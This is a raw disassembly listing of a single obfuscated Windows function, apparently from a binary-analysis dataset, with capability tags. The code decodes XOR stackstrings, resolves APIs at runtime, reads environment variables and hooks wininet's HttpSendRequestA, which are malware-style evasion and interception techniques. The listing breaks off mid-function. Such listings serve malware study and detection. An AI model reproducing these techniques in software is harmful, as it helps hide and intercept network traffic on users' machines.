Function at 0x100c3cc9
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa48
mov eax, dword [0x10110164]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
push 0x1021851c
push 0xf00f
push dword [0x101ef2d0]
call fcn.1000244b
add esp, 0xc
test eax, eax
js 0x100c4895
push 0x104
lea eax, [ebp - 0x74c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0x8e0], 0xe9a5
mov eax, 0xe9f9
mov word [ebp - 0x8dc], ax
lea ecx, [eax - 0x1c]
add eax, 0xffffffcf
mov word [ebp - 0x8da], cx
mov word [ebp - 0x8d8], ax
lea eax, [ecx - 0x52]
mov word [ebp - 0x8d6], ax
add eax, 0x35
mov word [ebp - 0x8d4], ax
mov word [ebp - 0x8d2], cx
lea ecx, [ebp - 0x8e0]
mov word [ebp - 0x8d0], ax
xor eax, eax
mov word [ebp - 0x8ce], ax
mov ax, word [ebp - 0x8dc]
call fcn.10011237
push eax
lea eax, [ebp - 0x74c]
push eax
call fcn.100d0166
pop ecx
pop ecx
test eax, eax
jne 0x100c534e
push 0x5f
pop eax
mov word [ebp - 0x8cc], ax
push 0x45
pop eax
mov word [ebp - 0x8ca], ax
push 0x76
pop eax
mov word [ebp - 0x8c8], ax
push 0x56
pop eax
mov word [ebp - 0x8c6], ax
push 0x71
pop eax
mov word [ebp - 0x8c4], ax
push 0x67
pop eax
mov word [ebp - 0x8c2], ax
push 0x55
pop eax
mov word [ebp - 0x8c0], ax
push 0x73
pop eax
mov word [ebp - 0x8be], ax
push 0x77
pop eax
mov word [ebp - 0x8bc], ax
push 0x31
pop eax
mov word [ebp - 0x8ba], ax
push 0x68
pop eax
mov word [ebp - 0x8b8], ax
push 0x7b
pop ecx
mov word [ebp - 0x8b6], cx
lea ecx, [ebp - 0x8cc]
mov word [ebp - 0x8b4], ax
xor eax, eax
mov word [ebp - 0x8b2], ax
mov ax, word [ebp - 0x8cc]
call fcn.100cbff9
push eax
lea eax, [ebp - 0x74c]
push eax
call fcn.100d0166
pop ecx
pop ecx
test eax, eax
jne 0x100c534e
push 0x4c
pop ecx
push 0x48
pop edx
push 0x39
mov eax, 0x81
mov word [ebp - 0x930], ax
pop eax
push 0x3b
mov word [ebp - 0x92e], cx
mov word [ebp - 0x92c], dx
mov word [ebp - 0x92a], ax
pop eax
mov word [ebp - 0x928], ax
push 0x3e
pop eax
mov word [ebp - 0x926], ax
push 0x4b
pop eax
mov word [ebp - 0x924], ax
push 0x47
pop eax
mov word [ebp - 0x922], dx
mov word [ebp - 0x920], ax
push 0x33
pop edx
push 0x3a
pop eax
push 0x38
pop edi
mov word [ebp - 0x91e], dx
mov word [ebp - 0x91c], ax
push 0x36
pop eax
mov word [ebp - 0x91a], di
mov word [ebp - 0x918], ax
push 0x3a
pop eax
mov word [ebp - 0x916], ax
mov word [ebp - 0x914], dx
mov word [ebp - 0x912], ax
push 0x3c
pop eax
mov word [ebp - 0x910], ax
push 0x69
pop eax
mov word [ebp - 0x90e], di
mov word [ebp - 0x90c], ax
push 0x47
mov word [ebp - 0x90a], dx
pop eax
mov word [ebp - 0x908], ax
push 0x37
pop eax
mov word [ebp - 0x906], ax
mov word [ebp - 0x904], ax
push 0x3e
pop eax
mov word [ebp - 0x902], ax
mov word [ebp - 0x900], dx
push 0x3c
pop eax
mov word [ebp - 0x8fe], di
mov word [ebp - 0x8fc], ax
mov word [ebp - 0x8fa], ax
push 0x4a
pop eax
mov word [ebp - 0x8f8], cx
mov word [ebp - 0x8f6], ax
mov word [ebp - 0x8f4], ax
push 0x36
pop eax
push 0x39
pop edx
mov word [ebp - 0x8f2], ax
mov word [ebp - 0x8f0], dx
push 0x3a
pop edx
mov word [ebp - 0x8ee], dx
mov word [ebp - 0x8ec], ax
mov word [ebp - 0x8ea], cx
mov word [ebp - 0x8e8], ax
lea ecx, [ebp - 0x930]
add eax, 0x4d
mov word [ebp - 0x8e6], ax
xor eax, eax
mov word [ebp - 0x8e4], ax
mov ax, word [ebp - 0x930]
push 0x50
lea eax, [ebp - 0xa4]
push eax
call fcn.10010f82
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x100c4895
cmp eax, 0x50
jae 0x100c4895
push 0xa
lea eax, [ebp - 0xa4]
push 0
push eax
call fcn.100df69e
mov edi, eax
add esp, 0xc
test edi, edi
je 0x100c4895
mov dword [ebp - 0x7ac], 0xef51
mov ecx, dword [ebp - 0x7ac]
xor ecx, 0x7b
mov word [ebp - 0x7a8], cx
mov ecx, dword [ebp - 0x7ac]
push 0x31
pop edx
inc ecx
xor ecx, edx
mov word [ebp - 0x7a6], cx
mov eax, dword [ebp - 0x7ac]
add eax, 2
xor eax, 0x41
mov word [ebp - 0x7a4], ax
mov eax, dword [ebp - 0x7ac]
add eax, 3
xor eax, 0x30
mov word [ebp - 0x7a2], ax
mov eax, dword [ebp - 0x7ac]
add eax, 4
xor eax, edx
mov word [ebp - 0x7a0], ax
mov eax, dword [ebp - 0x7ac]
add eax, 5
xor eax, edx
mov word [ebp - 0x79e], ax
mov eax, dword [ebp - 0x7ac]
add eax, 6
xor eax, 0x32
mov word [ebp - 0x79c], ax
mov eax, dword [ebp - 0x7ac]
add eax, 7
xor eax, 0x41
mov word [ebp - 0x79a], ax
mov eax, dword [ebp - 0x7ac]
add eax, 8
xor eax, 0x44
mov word [ebp - 0x798], ax
mov eax, dword [ebp - 0x7ac]
add eax, 9
xor eax, 0x2d
mov word [ebp - 0x796], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0xa
xor eax, 0x32
mov word [ebp - 0x794], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0xb
push 0x38
pop ecx
xor eax, ecx
mov word [ebp - 0x792], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0xc
push 0x34
pop ecx
xor eax, ecx
mov word [ebp - 0x790], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0xd
push 0x39
pop ecx
xor eax, ecx
mov word [ebp - 0x78e], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0xe
xor eax, 0x2d
mov word [ebp - 0x78c], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0xf
push 0x34
pop ecx
xor eax, ecx
mov word [ebp - 0x78a], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x10
xor eax, 0x66
mov word [ebp - 0x788], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x11
xor eax, 0x33
mov word [ebp - 0x786], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x12
xor eax, 0x61
mov word [ebp - 0x784], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x13
xor eax, 0x2d
mov word [ebp - 0x782], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x14
xor eax, 0x25
mov word [ebp - 0x780], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x15
xor eax, 0x30
mov word [ebp - 0x77e], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x16
xor eax, ecx
mov word [ebp - 0x77c], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x17
xor eax, 0x58
mov word [ebp - 0x77a], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x18
xor eax, 0x2d
mov word [ebp - 0x778], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x19
push 0x46
pop ecx
xor eax, ecx
mov word [ebp - 0x776], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x1a
xor eax, 0x45
mov word [ebp - 0x774], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x1b
push 0x32
pop ecx
xor eax, ecx
mov word [ebp - 0x772], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x1c
xor eax, ecx
mov word [ebp - 0x770], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x1d
xor eax, ecx
mov word [ebp - 0x76e], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x1e
xor eax, ecx
mov word [ebp - 0x76c], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x1f
xor eax, 0x37
mov word [ebp - 0x76a], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x20
xor eax, 0x45
mov word [ebp - 0x768], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x21
push 0x35
pop ecx
xor eax, ecx
mov word [ebp - 0x766], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x22
xor eax, 0x33
mov word [ebp - 0x764], ax
mov eax, dword [ebp - 0x7ac]
push 0x46
add eax, 0x23
pop ecx
xor eax, ecx
mov word [ebp - 0x762], ax
mov eax, dword [ebp - 0x7ac]
add eax, 0x24
xor eax, edx
mov word [ebp - 0x760], ax
mov eax, dword [ebp - 0x7ac]
push 0x7d
add eax, 0x25
pop ecx
xor eax, ecx
lea ecx, [ebp - 0x7ac]
mov word [ebp - 0x75e], ax
xor eax, eax
mov word [ebp - 0x75c], ax
mov ax, word [ebp - 0x7a8]
push edi
call fcn.1000b49e
push eax
lea eax, [ebp - 0x444]
push 0x100
push eax
call fcn.100525af
mov dword [ebp - 0x9d4], 0x3f95
mov eax, 0x3fee
mov word [ebp - 0x9d0], ax
add esp, 0x10
add eax, 0xffffffb4
mov word [ebp - 0x9ce], ax
mov eax, 0x3fa4
mov word [ebp - 0x9cc], ax
add eax, 0x2d
mov word [ebp - 0x9ca], ax
mov eax, 0x3fad
mov word [ebp - 0x9c8], ax
add eax, 0xfffffff9
mov word [ebp - 0x9c6], ax
mov eax, 0x3fa1
mov word [ebp - 0x9c4], ax
add eax, 0xb
mov word [ebp - 0x9c2], ax
mov eax, 0x3fd6
mov word [ebp - 0x9c0], ax
lea ecx, [eax - 0x1e]
add eax, 0xffffffda
mov word [ebp - 0x9be], cx
lea edx, [ecx - 0x13]
mov word [ebp - 0x9bc], ax
lea eax, [ecx - 0x17]
mov word [ebp - 0x9ba], dx
mov word [ebp - 0x9b8], ax
add eax, 0x2c
mov word [ebp - 0x9b6], ax
lea eax, [ecx - 0x17]
mov word [ebp - 0x9b4], cx
mov word [ebp - 0x9b2], ax
dec eax
mov word [ebp - 0x9b0], ax
mov word [ebp - 0x9ae], ax
lea eax, [ecx - 0x14]
mov word [ebp - 0x9ac], ax
add eax, 0x30
mov word [ebp - 0x9aa], cx
mov word [ebp - 0x9a8], ax
lea eax, [ecx - 0x11]
mov word [ebp - 0x9a6], ax
add eax, 0x30
mov word [ebp - 0x9a4], ax
lea eax, [ecx - 0x14]
mov word [ebp - 0x9a2], ax
add eax, 0x2d
mov word [ebp - 0x9a0], cx
add ecx, 0xfffffff5
mov word [ebp - 0x99e], cx
mov word [ebp - 0x99c], ax
lea eax, [edx + 0x2e]
mov word [ebp - 0x99a], ax
add eax, 0xffffffd3
mov word [ebp - 0x998], ax
lea eax, [edx - 2]
mov word [ebp - 0x996], ax
mov word [ebp - 0x994], cx
mov word [ebp - 0x992], dx
mov word [ebp - 0x990], ax
lea ecx, [ebp - 0x9d4]
add eax, 0x2d
mov word [ebp - 0x98e], ax
lea eax, [edx + 1]
mov word [ebp - 0x98c], ax
mov word [ebp - 0x98a], ax
add eax, 0xfffffffb
mov word [ebp - 0x988], ax
lea eax, [edx + 0x43]
mov word [ebp - 0x986], ax
xor eax, eax
mov word [ebp - 0x984], ax
mov ax, word [ebp - 0x9d0]
push edi
call fcn.1000b6ff
push eax
lea eax, [ebp - 0x244]
push 0x100
push eax
call fcn.100525af
mov dword [ebp - 0xa28], 0x11a2
mov eax, 0x11d9
mov word [ebp - 0xa24], ax
add esp, 0x10
add eax, 0xffffffb9
mov word [ebp - 0xa22], ax
mov eax, 0x1191
mov word [ebp - 0xa20], ax
add eax, 9
mov word [ebp - 0xa1e], ax
mov eax, 0x1190
mov word [ebp - 0xa1c], ax
add eax, 0x50
mov word [ebp - 0xa1a], ax
mov eax, 0x11e7
mov word [ebp - 0xa18], ax
add eax, 0xfffffffa
mov word [ebp - 0xa16], ax
mov eax, 0x11e3
mov word [ebp - 0xa14], ax
lea edx, [eax - 0x54]
mov word [ebp - 0xa12], dx
lea ecx, [eax - 0x4e]
mov word [ebp - 0xa10], cx
add ecx, 6
mov word [ebp - 0xa0e], ax
add eax, 0xffffffa4
mov word [ebp - 0xa0c], cx
mov word [ebp - 0xa0a], cx
mov word [ebp - 0xa08], dx
mov word [ebp - 0xa06], ax
lea eax, [edx + 3]
mov word [ebp - 0xa04], ax
add eax, 4
mov word [ebp - 0xa02], ax
lea eax, [edx + 0x6b]
mov word [ebp - 0xa00], ax
add eax, 0xffffff9c
mov word [ebp - 0x9fe], dx
mov word [ebp - 0x9fc], cx
lea ecx, [edx + 0x52]
mov word [ebp - 0x9fa], ax
lea eax, [edx + 8]
mov word [ebp - 0x9f8], ax
dec eax
mov word [ebp - 0x9f6], ax
mov eax, 0x1192
mov word [ebp - 0x9f4], dx
add edx, 6
mov word [ebp - 0x9f2], cx
add ecx, 3
mov word [ebp - 0x9f0], cx
mov word [ebp - 0x9ee], dx
mov word [ebp - 0x9ec], ax
add eax, 4
mov word [ebp - 0x9ea], ax
mov eax, 0x1194
mov word [ebp - 0x9e8], ax
mov word [ebp - 0x9e6], dx
mov word [ebp - 0x9e4], cx
add eax, 0x53
mov word [ebp - 0x9e2], dx
mov word [ebp - 0x9e0], ax
lea ecx, [ebp - 0xa28]
mov eax, 0x1196
mov word [ebp - 0x9de], ax
add eax, 0xfffffffb
mov word [ebp - 0x9dc], ax
mov eax, 0x11df
mov word [ebp - 0x9da], ax
xor eax, eax
mov word [ebp - 0x9d8], ax
mov ax, word [ebp - 0xa24]
push edi
call fcn.1000b6ff
push eax
lea eax, [ebp - 0x344]
push 0x100
push eax
call fcn.100525af
add esp, 0x10
push 0x7f
pop eax
push 0x3d
mov word [ebp - 0x980], ax
pop eax
push 0x3b
mov word [ebp - 0x97e], ax
pop eax
push 0x3a
pop edx
push 0x48
mov word [ebp - 0x97c], ax
pop eax
push 0x49
mov word [ebp - 0x97a], dx
mov word [ebp - 0x978], ax
pop eax
push 0x37
pop ecx
mov word [ebp - 0x976], ax
push 0x47
mov word [ebp - 0x974], cx
pop ecx
mov word [ebp - 0x972], ax
push 0x31
mov word [ebp - 0x970], cx
pop ecx
push 0x39
pop edx
push 0x35
mov word [ebp - 0x96e], cx
mov word [ebp - 0x96c], dx
pop edx
push 0x3a
mov word [ebp - 0x96a], dx
pop edx
mov word [ebp - 0x968], ax
push 0x38
mov word [ebp - 0x966], dx
pop edx
push 0x35
pop eax
mov word [ebp - 0x964], cx
push 0x6a
mov word [ebp - 0x962], dx
mov word [ebp - 0x960], ax
pop eax
mov word [ebp - 0x95e], ax
push 0x3d
pop eax
mov word [ebp - 0x95c], ax
push 0x29
pop eax
mov word [ebp - 0x95a], cx
mov word [ebp - 0x958], ax
push 0x34
pop eax
mov word [ebp - 0x956], ax
mov word [ebp - 0x954], dx
push 0x5c
pop eax
mov word [ebp - 0x952], ax
mov word [ebp - 0x950], cx
push 0x46
pop ecx
push 0x3c
mov word [ebp - 0x94e], cx
pop eax
mov word [ebp - 0x94c], ax
mov word [ebp - 0x94a], dx
push 0x3a
pop edx
push 0x36
pop eax
mov word [ebp - 0x948], dx
mov word [ebp - 0x946], ax
push 0x34
pop edx
mov word [ebp - 0x944], dx
push 0x3c
mov word [ebp - 0x942], dx
pop eax
mov word [ebp - 0x940], ax
push 0x3b
mov word [ebp - 0x93e], cx
lea ecx, [ebp - 0x980]
pop eax
mov word [ebp - 0x93c], ax
push 0x48
mov word [ebp - 0x93a], dx
pop eax
mov word [ebp - 0x938], ax
add eax, 0x39
mov word [ebp - 0x936], ax
xor eax, eax
mov word [ebp - 0x934], ax
mov ax, word [ebp - 0x980]
push edi
call fcn.10039c8d
push eax
lea eax, [ebp - 0x544]
push 0x100
push eax
call fcn.100525af
lea eax, [ebp - 0x244]
mov dword [ebp - 0xa44], 0x1000
mov dword [ebp - 0xa48], eax
mov edi, 0x1021850c
lea eax, [ebp - 0x344]
mov dword [ebp - 0xa3c], eax
lea eax, [ebp - 0x444]
mov dword [ebp - 0xa38], eax
lea eax, [ebp - 0x544]
mov dword [ebp - 0xa40], eax
lea eax, [ebp - 0xa48]
mov dword [ebp - 0xa2c], eax
lea eax, [ebp - 0xa2c]
push eax
push edi
push 0xf0f7
push dword [0x101ef2d0]
call fcn.1006f1fc
add esp, 0x20
test eax, eax
js 0x100c4897
mov eax, dword [0x101ef2d0]
push ebx
push 0x208
push 0x10218528
call dword [eax + 0xc]
test esi, esi
je 0x100c4872
mov dword [0x10201ac4], esi
jmp 0x100c48b0
push 0x10218514
push 0xf014
push dword [0x101ef2d0]
call fcn.1000244b
add esp, 0xc
test eax, eax
jns 0x100c48a6
mov ecx, edi
call fcn.10049d08
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100cc9b8
leave
ret
mov eax, dword [0x10218514]
mov dword [0x10201ac4], eax
push 0x76
pop eax
mov word [ebp - 0x8b0], ax
push 0x70
pop ecx
push 0x7d
pop eax
mov word [ebp - 0x8ae], cx
mov word [ebp - 0x8ac], ax
push 0x79
pop eax
mov word [ebp - 0x8aa], ax
mov word [ebp - 0x8a8], cx
push 0x77
pop ecx
push 0x3e
mov word [ebp - 0x8a6], cx
pop eax
mov word [ebp - 0x8a4], ax
push 0x3d
pop eax
mov word [ebp - 0x8a2], ax
push 0x39
pop eax
mov word [ebp - 0x8a0], ax
push 0x6f
pop eax
mov word [ebp - 0x89e], ax
xor eax, eax
mov word [ebp - 0x89c], cx
mov word [ebp - 0x89a], cx
lea ecx, [ebp - 0x8b0]
mov word [ebp - 0x898], ax
mov ax, word [ebp - 0x8b0]
call fcn.100cc2fe
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call edi
mov dword [ebp - 0x880], 7
lea ecx, [ebp - 0x880]
mov byte [ebp - 0x87c], 0x44
mov esi, eax
mov byte [ebp - 0x87b], 0x75
mov byte [ebp - 0x87a], 0x62
mov byte [ebp - 0x879], 0x66
mov byte [ebp - 0x878], 0x73
mov byte [ebp - 0x877], 0x62
mov byte [ebp - 0x876], 0x57
mov byte [ebp - 0x875], 0x75
mov byte [ebp - 0x874], 0x68
mov byte [ebp - 0x873], 0x64
mov byte [ebp - 0x872], 0x62
mov byte [ebp - 0x871], 0x74
push 0x46
pop eax
mov byte [ebp - 0x870], 0x74
mov byte [ebp - 0x86f], al
mov al, byte [ebp - 0x87c]
mov byte [ebp - 0x86e], 0
call fcn.10058408
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push esi
call ebx
mov dword [ebp - 0x894], 0xe
mov byte [ebp - 0x890], 0x4d
mov byte [ebp - 0x88f], 0x7c
mov byte [ebp - 0x88e], 0x6b
mov byte [ebp - 0x88d], 0x6f
mov byte [ebp - 0x88c], 0x7a
mov byte [ebp - 0x88b], 0x6b
mov byte [ebp - 0x88a], 0x5e
mov byte [ebp - 0x889], 0x7c
mov byte [ebp - 0x888], 0x61
mov byte [ebp - 0x887], 0x6d
push 0x7d
mov dword [ebp - 0xa30], eax
pop eax
mov byte [ebp - 0x886], 0x6b
mov byte [ebp - 0x885], al
mov byte [ebp - 0x884], al
mov byte [ebp - 0x883], 0x59
lea ecx, [ebp - 0x894]
mov al, byte [ebp - 0x890]
mov byte [ebp - 0x882], 0
call fcn.10058408
push eax
push esi
call ebx
push 0x100fb464
push esi
mov dword [ebp - 0xa34], eax
call ebx
push 0x100fb43c
push esi
mov dword [0x10218738], eax
call ebx
mov dword [0x1021873c], eax
mov dword [ebp - 0x86c], 0xb59f
mov eax, dword [ebp - 0x86c]
xor eax, 0x6e
mov word [ebp - 0x868], ax
mov eax, dword [ebp - 0x86c]
inc eax
xor eax, 0x74
mov word [ebp - 0x866], ax
mov eax, dword [ebp - 0x86c]
add eax, 2
xor eax, 0x64
mov word [ebp - 0x864], ax
mov eax, dword [ebp - 0x86c]
add eax, 3
push 0x6c
pop ecx
xor eax, ecx
mov word [ebp - 0x862], ax
mov eax, dword [ebp - 0x86c]
add eax, 4
xor eax, ecx
mov word [ebp - 0x860], ax
mov eax, dword [ebp - 0x86c]
add eax, 5
xor eax, 0x2e
mov word [ebp - 0x85e], ax
mov eax, dword [ebp - 0x86c]
add eax, 6
xor eax, 0x64
mov word [ebp - 0x85c], ax
mov eax, dword [ebp - 0x86c]
add eax, 7
xor eax, ecx
mov word [ebp - 0x85a], ax
mov eax, dword [ebp - 0x86c]
add eax, 8
xor eax, ecx
lea ecx, [ebp - 0x86c]
mov word [ebp - 0x858], ax
xor eax, eax
mov word [ebp - 0x856], ax
mov ax, word [ebp - 0x868]
call fcn.10010ec6
push eax
call edi
mov byte [ebp - 0x758], 0x4e
lea ecx, [ebp - 0x758]
mov byte [ebp - 0x757], 0x66
mov esi, eax
mov byte [ebp - 0x756], 0x74
mov byte [ebp - 0x755], 0x4e
mov byte [ebp - 0x754], 0x71
mov byte [ebp - 0x753], 0x63
mov byte [ebp - 0x752], 0x66
push 0x46
pop eax
mov byte [ebp - 0x751], al
mov byte [ebp - 0x750], 0x6e
mov byte [ebp - 0x74f], 0x6e
mov byte [ebp - 0x74e], 0
mov al, byte [ebp - 0x758]
call fcn.100cbf39
push eax
push esi
call ebx
mov edx, dword [ebp - 0xa30]
mov edi, eax
test edx, edx
je 0x100c4c2c
mov esi, dword [ebp - 0xa34]
test esi, esi
je 0x100c4c2c
test edi, edi
je 0x100c4c2c
mov eax, dword [0x10201ac4]
push 0x10218740
push 0x100c3a10
push edx
mov ecx, dword [eax]
push 0x1011014c
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x100c4c2c
mov eax, dword [0x10201ac4]
push 0x10218744
push 0x100c3a72
push esi
mov ecx, dword [eax]
push 0x10110150
push eax
call dword [ecx + 0x10]
mov esi, connect
test esi, eax
mov eax, dword [0x10201ac4]
je 0x100c4c45
push dword [0x1011014c]
mov edx, dword [eax]
push eax
call dword [edx + 0x14]
or dword [0x1011014c], 0xffffffff
mov ecx, 0x1021850c
call fcn.10049d08
mov ecx, 0x10218514
call fcn.10049d08
jmp 0x100c4895
mov ecx, dword [eax]
push 0x10218730
push 0x100c949e
push edi
push 0x10110154
push eax
call dword [ecx + 0x10]
test esi, eax
je 0x100c4c91
mov eax, dword [0x10201ac4]
push dword [0x1011014c]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [0x10201ac4]
or dword [0x1011014c], 0xffffffff
push dword [0x10110150]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
or dword [0x10110150], 0xffffffff
jmp 0x100c4c2c
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.HttpSendRequestA
push eax
call ebx
mov ecx, dword [0x10201ac4]
push 0x10218734
push 0x100c3ad4
push eax
mov edx, dword [ecx]
push 0x10110158
push ecx
call dword [edx + 0x10]
test eax, eax
jns 0x100c4d11
mov eax, dword [0x10201ac4]
push dword [0x1011014c]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [0x10201ac4]
or dword [0x1011014c], 0xffffffff
push dword [0x10110150]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [0x10201ac4]
or dword [0x10110150], 0xffffffff
push dword [0x10110154]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
or dword [0x10110154], 0xffffffff
jmp 0x100c4c2c
mov dword [ebp - 0x800], 0x411d
mov eax, dword [ebp - 0x800]
xor eax, 0x7b
mov word [ebp - 0x7fc], ax
mov eax, dword [ebp - 0x800]
inc eax
push 0x37
pop edx
xor eax, edx
mov word [ebp - 0x7fa], ax
mov eax, dword [ebp - 0x800]
add eax, 2
push 0x35
pop ecx
xor eax, ecx
mov word [ebp - 0x7f8], ax
mov eax, dword [ebp - 0x800]
add eax, 3
xor eax, 0x36
mov word [ebp - 0x7f6], ax
mov eax, dword [ebp - 0x800]
add eax, 4
push 0x43
pop esi
xor eax, esi
mov word [ebp - 0x7f4], ax
mov eax, dword [ebp - 0x800]
add eax, 5
push 0x33
pop ebx
xor eax, ebx
mov word [ebp - 0x7f2], ax
mov eax, dword [ebp - 0x800]
add eax, 6
xor eax, 0x30
mov word [ebp - 0x7f0], ax
mov eax, dword [ebp - 0x800]
add eax, 7
push 0x31
pop edi
xor eax, edi
mov word [ebp - 0x7ee], ax
mov eax, dword [ebp - 0x800]
add eax, 8
push 0x46
pop ecx
xor eax, ecx
mov word [ebp - 0x7ec], ax
mov eax, dword [ebp - 0x800]
add eax, 9
push 0x2d
pop ecx
xor eax, ecx
mov word [ebp - 0x7ea], ax
mov eax, dword [ebp - 0x800]
add eax, 0xa
xor eax, ebx
mov word [ebp - 0x7e8], ax
mov eax, dword [ebp - 0x800]
add eax, 0xb
xor eax, 0x34
mov word [ebp - 0x7e6], ax
mov eax, dword [ebp - 0x800]
add eax, 0xc
xor eax, ebx
mov word [ebp - 0x7e4], ax
mov eax, dword [ebp - 0x800]
add eax, 0xd
xor eax, 0x42
mov word [ebp - 0x7e2], ax
mov eax, dword [ebp - 0x800]
add eax, 0xe
xor eax, ecx
mov word [ebp - 0x7e0], ax
mov eax, dword [ebp - 0x800]
add eax, 0xf
xor eax, 0x34
mov word [ebp - 0x7de], ax
mov eax, dword [ebp - 0x800]
add eax, 0x10
xor eax, edi
mov word [ebp - 0x7dc], ax
mov eax, dword [ebp - 0x800]
add eax, 0x11
xor eax, 0x61
mov word [ebp - 0x7da], ax
mov eax, dword [ebp - 0x800]
add eax, 0x12
xor eax, 0x35
mov word [ebp - 0x7d8], ax
mov eax, dword [ebp - 0x800]
add eax, 0x13
xor eax, ecx
mov word [ebp - 0x7d6], ax
mov eax, dword [ebp - 0x800]
add eax, 0x14
xor eax, 0x41
mov word [ebp - 0x7d4], ax
mov eax, dword [ebp - 0x800]
add eax, 0x15
xor eax, 0x32
mov word [ebp - 0x7d2], ax
mov eax, dword [ebp - 0x800]
add eax, 0x16
xor eax, 0x35
mov word [ebp - 0x7d0], ax
mov eax, dword [ebp - 0x800]
add eax, 0x17
xor eax, esi
mov word [ebp - 0x7ce], ax
mov eax, dword [ebp - 0x800]
add eax, 0x18
xor eax, ecx
mov word [ebp - 0x7cc], ax
mov eax, dword [ebp - 0x800]
add eax, 0x19
push 0x38
pop ecx
xor eax, ecx
mov word [ebp - 0x7ca], ax
mov eax, dword [ebp - 0x800]
add eax, 0x1a
xor eax, 0x32
mov word [ebp - 0x7c8], ax
mov eax, dword [ebp - 0x800]
add eax, 0x1b
xor eax, 0x41
mov word [ebp - 0x7c6], ax
mov eax, dword [ebp - 0x800]
add eax, 0x1c
xor eax, edx
mov word [ebp - 0x7c4], ax
mov eax, dword [ebp - 0x800]
add eax, 0x1d
xor eax, 0x32
mov word [ebp - 0x7c2], ax
mov eax, dword [ebp - 0x800]
add eax, 0x1e
xor eax, ecx
mov word [ebp - 0x7c0], ax
mov eax, dword [ebp - 0x800]
add eax, 0x1f
xor eax, 0x44
mov word [ebp - 0x7be], ax
mov eax, dword [ebp - 0x800]
add eax, 0x20
xor eax, esi
mov word [ebp - 0x7bc], ax
mov eax, dword [ebp - 0x800]
add eax, 0x21
xor eax, edi
mov word [ebp - 0x7ba], ax
mov eax, dword [ebp - 0x800]
add eax, 0x22
push 0x46
pop ecx
xor eax, ecx
mov word [ebp - 0x7b8], ax
mov eax, dword [ebp - 0x800]
add eax, 0x23
xor eax, esi
mov word [ebp - 0x7b6], ax
mov eax, dword [ebp - 0x800]
lea ecx, [ebp - 0x800]
add eax, 0x24
xor eax, 0x41
mov word [ebp - 0x7b4], ax
mov eax, dword [ebp - 0x800]
add eax, 0x25
xor eax, 0x7d
mov word [ebp - 0x7b2], ax
xor eax, eax
mov word [ebp - 0x7b0], ax
mov ax, word [ebp - 0x7fc]
push 0x50
lea eax, [ebp - 0x144]
push eax
call fcn.1000b49e
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x100c534e
cmp eax, 0x50
jae 0x100c534e
mov dword [ebp - 0x854], 0x6b92
mov eax, dword [ebp - 0x854]
xor eax, 0x7b
mov word [ebp - 0x850], ax
mov eax, dword [ebp - 0x854]
inc eax
push 0x37
pop edx
xor eax, edx
mov word [ebp - 0x84e], ax
mov eax, dword [ebp - 0x854]
add eax, 2
push 0x35
pop ecx
xor eax, ecx
mov word [ebp - 0x84c], ax
mov eax, dword [ebp - 0x854]
add eax, 3
xor eax, 0x36
mov word [ebp - 0x84a], ax
mov eax, dword [ebp - 0x854]
add eax, 4
xor eax, esi
mov word [ebp - 0x848], ax
mov eax, dword [ebp - 0x854]
add eax, 5
xor eax, ebx
mov word [ebp - 0x846], ax
mov eax, dword [ebp - 0x854]
add eax, 6
xor eax, 0x30
mov word [ebp - 0x844], ax
mov eax, dword [ebp - 0x854]
add eax, 7
xor eax, edi
mov word [ebp - 0x842], ax
mov eax, dword [ebp - 0x854]
add eax, 8
push 0x46
pop ecx
xor eax, ecx
mov word [ebp - 0x840], ax
mov eax, dword [ebp - 0x854]
add eax, 9
push 0x2d
pop ecx
xor eax, ecx
mov word [ebp - 0x83e], ax
mov eax, dword [ebp - 0x854]
add eax, 0xa
xor eax, ebx
mov word [ebp - 0x83c], ax
mov eax, dword [ebp - 0x854]
add eax, 0xb
xor eax, 0x34
mov word [ebp - 0x83a], ax
mov eax, dword [ebp - 0x854]
add eax, 0xc
xor eax, ebx
mov word [ebp - 0x838], ax
mov eax, dword [ebp - 0x854]
